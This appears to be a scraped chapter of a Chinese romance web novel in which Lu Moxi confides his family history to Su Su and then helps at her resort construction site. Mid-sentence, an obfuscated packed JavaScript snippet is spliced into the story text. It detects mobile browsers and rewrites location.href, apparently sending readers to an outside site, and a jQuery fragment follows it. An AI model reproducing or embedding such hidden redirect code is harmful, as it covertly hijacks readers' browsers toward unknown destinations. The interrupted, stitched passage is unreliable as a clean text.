房间里安静得能听听见彼此的心跳声。
阳光斜斜地照进来，在陆默熹身上投下斑驳的光影。
他坐在床边的木椅上，身体微微前倾，苏酥靠在床头，捧着温热的水杯，没有催促。
她敏锐地察觉到他那突如其来的脆弱。
“我母亲，”他终于开口，“是在生完我之后去世的。”
苏酥的心轻轻一颤，她看着他轮廓分明的侧脸，没有打断。
“不是难产。是生完我之后，身体太虚弱，免疫力下降，碰巧感染了当时正在流行的传染病。”
他顿了顿，喉结滚动了一下，“走得很急，我父亲后来很少提起她，家里甚至没有几张她的照片，我只在旧相册里见过几张，很温柔的样子。”
他的语气平淡得像在叙述别人的故事，苏酥此刻的心却绞痛异常。
眼前的人面色宁静，嘴唇随着他的动作颤抖着失去血色。
“小时候，父亲很忙，公司正在上升期。照顾我的是哥哥，陆默悟。”
提到哥哥的名字，陆默熹的嘴角牵动了一下，像是想笑，又顿住了。
“他比我大五岁，一个半大孩子，被迫承担起照顾婴儿弟弟的责任。”
“一开始，他很讨厌我。”陆默熹抬起眼，看向苏酥，眼神里只有痛楚。
“他觉得是我害死了妈妈，这是理所当然的，不是吗？如果没有我，妈妈就不会走。”
苏酥下意识地想开口反驳，却被他轻轻摇头制止了。
“我记得有一次，我发高烧，大概是四五岁的时候，他抱着我去医院，路上我哭闹不止。”
“他那时候也才十岁，又累又烦，冲我吼，说‘要是没有你就好了’……”
陆默熹的声音突然放大，像是被迫陷入某种回忆里，他五指紧握成拳，眸底处腾起细雾，眼尾沟有些泛红。
他停顿了很久，房间里只剩下两人清浅的呼吸声。
“但他说完就后悔了。”
他继续道，声音有些哽咽，“他看着我，看着我和母亲相似的脸，他们都这么说，我长得更像母亲。他就再也狠不下心了，他抱着我，一遍遍地说‘对不起，哥哥错了’。”
陆默熹从那段沉重的回忆里扯出一个苦涩的笑容：“从那以后，他再也没说过那样的话，他学着给我冲营养奶，后来教我骑车，辅导我功课，他努力扮演着父亲和母亲的双重角色。”
“父亲对哥哥寄予厚望，从小就把他当作接班人培养，要求极为严格，对我……”
陆默熹顿了顿，似乎在寻找合适的词语，“则始终是不冷不热。他供养我，尽到了法律意义上的责任，但更多的，似乎就没有了，也许他看到我，就会想起母亲的离去。”
苏酥想象着那个在父爱缺失、兄长矛盾关爱下长大的小男孩，心里泛起细细密密的疼。
“我就这么……在一种复杂的情绪里长大。”
他微微合眼，“我感激哥哥，又为给他带来的负担感到愧疚……渴望父亲的认可，又清楚地知道那几乎不可能。我觉得自己像个错误的存在，却又被哥哥用力地拉扯着。”
他深吸了一口气，再睁开眼时，眼神已经恢复了更多的平静。
“后来大学，我执意选了最远的学校，去了美国，读计算机。一方面是想逃离那个令人窒息的环境，另一方面……也是想证明自己，不靠家里，我能做成什么。”
说到这里，他紧绷的神色才稍稍松动，露出真正的笑意。
“然后我发现，我在代码和算法上有种特别的天赋。那是一个全新的世界，逻辑清晰，规则明确，没有复杂难辨的情感。我沉浸其中，很幸运，抓住了一些机会，赚到了第一桶金，然后是很多很多钱。”
“经济独立带来的自由，让我第一次感觉能真正呼吸，我以为我会一直留在那里。”
“但后来，家里叫我回国。”
他看向苏酥，眼神变得深邃，“哥哥的压力很大，父亲的身体也不如从前，我……终究没能彻底割舍。”
他的目光落在苏酥脸上，带着格外的专注。
“回国后，处理一些家族事务，也做一些自己的投资。生活似乎又回到了某种轨道上，直到……”
他停了下来，深深地望着苏酥，后面的话没有说出口，但那个停顿，那个眼神，已经说明了一切。
直到遇到你。
房间里再次陷入寂静，阳光移动着，将空气中的微尘照得清晰可见。
苏酥看着他，看着他眼中尚未完全褪去的悲伤，以及那份因提及她而悄然浮现的柔和。
她忽然明白，陆默熹此刻的坦诚，剥开所有坚硬的外壳，将自己最不为人知的脆弱和过往摊开在她面前，是多么沉重的信任。
她没有说任何苍白的安慰的话。
她只是伸出手，轻轻覆在他交握的手背上。
她的掌心温暖，带着病后初愈的些许柔软。
陆默熹的身体僵了一下，随即，他反手握住她的手，力道有些紧。
他没有再看她，只是低着头，看着两人交握的手，久久没有松开。
……
这次深谈之后，仿佛解开了他们之间的一道无形的锁。
苏酥再看陆默熹时，目光总是不自觉地在意。
她开始注意到一些以往忽略的细节。
陆默熹其实是个有点强迫症的人。
有一次，苏酥去厨房想帮忙盛饭，随手将饭勺放在了电饭锅的盖子上。
她正准备端菜出去，眼角的余光瞥见陆默熹极其自然地走过去，拿起那个饭勺，用旁边的布巾擦拭了一下勺柄，然后精准地放回了灶台右手边那个的位置。
苏酥愣住了，下意识地看向那口他常用的黑色铁锅。
果然，每次用完，他都会仔细清洗，然后放在灶上小火烘干，再用软布抹上薄薄一层油保养。
更让她惊奇的是他的时间管理。
每天中午十二点，下午五点，分秒不差，陆默熹总会提着保温食盒，出现在他们的工作室或者工地上。
里面是他换着花样做的，营养均衡的饭菜。
“先吃饭。”
他的语气懒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450461|179511||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
散，会拉过一把椅子坐在她对面，看着她拿起筷子，自己才端起饭碗。
苏酥起初还有些不好意思，尤其是在工地上，周围都是忙碌的姐妹。
但陆默熹做得极其自然，久而久之，大家也都习惯了每天准时来给她送补给。
甚至，偶尔还会打趣两句，苏酥也从最初的害羞变得坦然。
饭后，他并不会立刻离开。
他会很自然地留在现场，双手插在裤袋里，看似随意地巡视着逐渐成型的地基和建筑轮廓。
他的目光毒辣，常常能发现一些被忽略的问题。
“东侧那根承重柱的浇筑模板，左下角有点渗浆，最好加固一下。”他指着不远处对羽智说。
羽智派人去检查，果然如此。
“排水管道的预设坡度，再核对一遍图纸，感觉这里比设计值低了一点点。”
他蹲在挖开的地基沟旁，对负责水电的工头建议。
重新测量后，确实存在十分微小偏差。
他并非建筑专业出身，但那种基于逻辑和观察的精准判断，常常能一针见血，让在场的人茅塞顿开，迅速找到问题所在。
“太厉害了！陆助理！”
“是啊，这都怎么发现的？”
羽智团队从一开始的将信将疑，到后来会主动询问他的看法。
建造区域一天一个样。
地基夯实，墙体一天天垒高，木质框架撑起了屋顶的雏形，沿着新修好的坚固山路，更多的环保材料顺利运抵。
周围埋进了新的花草种子，从远处运来数不清的植物装饰，藤蔓顺着爬上架子、白墙。
一切都在按照图纸扩建。
原本荒芜的山坡，被一点点赋予了建筑的骨骼与肌理，一个融合了现代设计与山村风情的度假村，正缓缓揭开面纱。
天气不知不觉热了起来。
蝉鸣不知何时开始变得喧嚣，阳光也变得炽烈灼人，山风裹挟着泥土和青草的气息，变得温热。
气温又回到了他们初见时的那个夏天。
苏酥站在初具规模的度假村主体建筑前，用手遮在额前，眺望着这片倾注了她和所有人心血的土地。
汗水顺着她的鬓角滑落，后背也被洇湿了一片，但她的心情却如同这晴朗的夏日，明亮、充满希望。
她下意识地在人群中寻找那个熟悉的身影。
很快，她看到了陆默熹。
他正站在不远处的阴凉下，对着摊开的图纸和人讨论着什么。
他今天穿了件浅灰色的条纹POLO衫，额发被汗水打湿了几缕，侧脸线条在明晃晃的日光下显得格外清晰。
他似乎察觉到了她的目光，讨论的间隙，忽然抬起头，准确无误地朝她的方向望了过来。
隔着忙碌穿梭的人群，隔着尘土飞扬的工地，隔着整个喧闹的夏日，他们的视线在空中相遇。
没有言语，没有动作。
苏酥只觉得心口像是被什么东西轻轻撞了一下。
阳光太刺眼，让她有些晕眩，脸颊也莫名地开始发烫。